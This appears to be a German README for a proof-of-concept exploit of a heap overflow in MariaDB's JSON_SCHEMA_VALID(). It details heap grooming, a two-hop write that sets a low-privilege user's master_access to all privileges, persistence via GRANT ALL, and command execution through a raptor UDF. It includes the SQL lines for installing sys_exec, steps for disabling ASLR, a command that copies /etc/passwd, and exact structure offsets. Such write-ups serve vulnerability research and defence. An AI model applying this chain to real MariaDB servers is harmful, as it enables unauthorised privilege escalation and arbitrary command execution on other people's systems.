
Heap-OOB-Write in MariaDB JSON_SCHEMA_VALID() → persistente Privilegieneskalation (laborunterstützt)
Heap-Pufferüberlauf in MariaDB JSON_SCHEMA_VALID() → persistente Privilegieneskalation → UDF-RCE
| Betroffen | MariaDB 11.4.x (bestätigt auf 11.4.9) |
| Fehler | OOB-Schreibzugriff in json_get_normalized_string() — strncpy in 128-Byte-DYNAMIC_STRING ohne Grenzprüfung |
| Auswirkung | Nur-SELECT-Benutzer → ALL PRIVILEGES WITH GRANT OPTION → beliebige Befehlsausführung über UDF |
| Quelle | sql/json_schema_helper.cc:91 |
Laborunterstützt. Das Skript verwendet Docker-/Root-Introspection, um
/proc/1/memzu lesen und das Heap-Layout pro Verbindung zu ermitteln. Die eigentliche Exploit-Kette ist reines SQL über TCP. Ein waffenfähiger Exploit bräuchte eine Info-Leak-Primitive, um den Speicher-Introspection-Schritt zu ersetzen.
lowpriv kann nur SELECT auf der Datenbank test ausführen. Systemtabellen sind verweigert.

Ein einzelnes Python-Skript führt Heap-Grooming, einen Zwei-Sprung-Schreibzugriff
über Benutzervariablen-Metadaten durch, persistiert die Eskalation über GRANT ALL
und erreicht Codeausführung über eine UDF:
python3 exploit.py

lowpriv hat nun ALL PRIVILEGES WITH GRANT OPTION, kann Systemtabellen lesen,
beliebige Dateien lesen/schreiben und Betriebssystembefehle als Benutzer mysql
ausführen. Das Grant übersteht einen Server-Neustart.


┌──────────────────────────────────────────────────────────────────┐
│ SELECT json_schema_valid(overflow), │
│ @ccc...c := hop1, │
│ @aaa...a := hop2 │
└──────────────────────────────────────────────────────────────────┘
│ │ │
▼ ▼ ▼
┌───────────┐ ┌──────────────┐ ┌──────────────┐
│ 192-Byte │ │ Schreiben │ │ Schreiben │
│ Überlauf │ │ auf @c über │ │ auf @a über │
│ korrumpiert│ │ den │ │ den │
│ entry_c's │ │ korrumpierten│ │ umgeleiteten │
│ value-ptr │ │ Zeiger: │ │ Zeiger: │
│ (2-Byte- │ │ │ │ │
│ Teilüber-│ │ entry_a → │ │ master_access│
│ schreibung)│ │ .value = │ │ = 0xFFFF.. │
│ │ │ &master_ │ │ (ALLE RECHTE)│
│ │ │ access │ │ │
└───────────┘ │ .length= 9 │ └──────────────┘
└──────────────┘
Heap-Grooming — Über 100 Benutzervariablen erschöpfen den tcache und
erzwingen, dass Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c
aufeinanderfolgend allokiert werden.
Überlauf — JSON_SCHEMA_VALID löst ein 192-Byte-strncpy über den
128-Byte-Puffer hinaus aus und korrumpiert entry_c→value (2-Byte-Teilzeiger-
überschreibung innerhalb derselben 64-KB-Seite), sodass er auf entry_a + 32 zeigt.
Sprung 1 — Die Zuweisung an @c schreibt 126 Bytes über den korrumpierten
Zeiger in die Metadaten von entry_a und setzt:
entry_a→value = &Security_context::master_accessentry_a→length = 9Sprung 2 — Die Zuweisung an @a schreibt 8 Bytes 0xFF über den
umgeleiteten -Zeiger → .
Nach der Persistenz wird der Server neu gestartet (Crash-Recovery), und die eskalierten Rechte werden genutzt, um eine UDF-Shared-Library zu installieren:
LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'SELECT sys_exec('id > /tmp/pwned')# 1. Container bauen und starten
./setup.sh
# 2. ASLR auf dem Docker-Host deaktivieren
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
# 3. Exploit ausführen (kalibriert automatisch pro Versuch)
python3 exploit.py
# 4. Benutzerdefinierter Befehl
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'
/proc/sys/kernel/randomize_va_space = 0)--cap-add SYS_PTRACE (für /proc/1/mem-Zugriff)--calibrate Heap-Layout-Konstanten messen und beenden
--cmd CMD Befehl für Phase-2-UDF-Ausführung (Standard: id > /tmp/pwned)
--stage1-only Nur Privilegieneskalation ausführen, UDF-RCE überspringen
--attempts N Maximale Phase-1-Versuche (Standard: 5)
--host HOST MariaDB-Host (Standard: 127.0.0.1)
--port PORT MariaDB-Port (Standard: 3306)
Das Exploit-Skript verbindet sich als Root in den Container, um /proc/1/mem
zu lesen. Dies wird für zwei Dinge verwendet:
user_var_entry-
Strukturen und Verifizieren, dass sie benachbart sind (entry_a+32 innerhalb
derselben 64-KB-Seite wie entry_c→value für die 2-Byte-Teilüberschreibung).Security_context-Adresse — Auffinden des master_access-Felds, das
mit dem Zwei-Sprung-Schreibzugriff angezielt wird.Der Scan läuft inline für jeden Versuch, da das Heap-Layout zwischen Verbindungen variiert (selbst mit ASLR=0), weil der MariaDB-Thread-Pool unterschiedliche Arenas zuweist. Die eigentliche Exploit-Kette — Überlauf + Hop1 + Hop2 — ist reines SQL, das über eine TCP-Verbindung ausgeführt wird.
In einem realen Szenario bräuchte ein Angreifer eine separate Info-Leak- Schwachstelle (oder einen Seitenkanal), um diese Adressen zu erhalten.
entry_a→valuemaster_access = ALL PRIVILEGESPersistenz — Die Sitzung besitzt nun alle Rechte. GRANT ALL committet
die Eskalation in die Aria-gestützte Tabelle mysql.global_priv. Die Sitzung
stürzt schließlich während der Bereinigung ab (restliche Heap-Korruption), aber
das GRANT ist bereits eingecheckt und übersteht den Neustart.
| Einschränkung | Lösung |
|---|
STRING_RESULT führt length++ vor der Realloc-Prüfung aus | Payload ist N−1 Bytes, sodass N−1+1 = N der gespeicherten Länge entspricht → kein Realloc auf korrumpiertem Zeiger |
126-Byte-Hop2 korrumpiert THD-Felder jenseits von Security_context | Setze entry_a→length = 9 in Hop1, sodass Hop2 nur 8 Bytes schreibt (master_access) + 1 NUL |
master_access-Offset in Security_context | 1712 Bytes vom Struct-Basisoffset (priv_user[384] + proxy_user[645] + priv_host[256] + priv_role[384] + Padding + Zeiger) |
| Aria-Crash-Recovery rollt nicht committete Schreibvorgänge zurück | GRANT ALL + 10 s SLEEP ermöglicht Aria-Checkpoint vor dem Sitzungs-Cleanup-Crash |
| Heap-Layout variiert zwischen Verbindungen (selbst mit ASLR=0) | Inline-/proc/1/mem-Scan pro Versuch findet entry_a und master_access für jede Verbindung |
| plugin_dir gehört root | Dockerfile setzt vorab chmod 777 (Labor-Komfort) |
| Datei | Beschreibung |
|---|
exploit.py | Zwei-Phasen-Exploit: Privesc (TCP-SQL) + UDF-RCE |
raptor_udf.c | UDF-Quellcode — sys_exec() ruft system() auf |
Dockerfile | Labor-Container-Image (kompiliert UDF, öffnet plugin_dir) |
init.sql | Erstellt den Benutzer lowpriv |
setup.sh | Baut und startet das Labor |
screenshots/ | Terminal-Screenshots |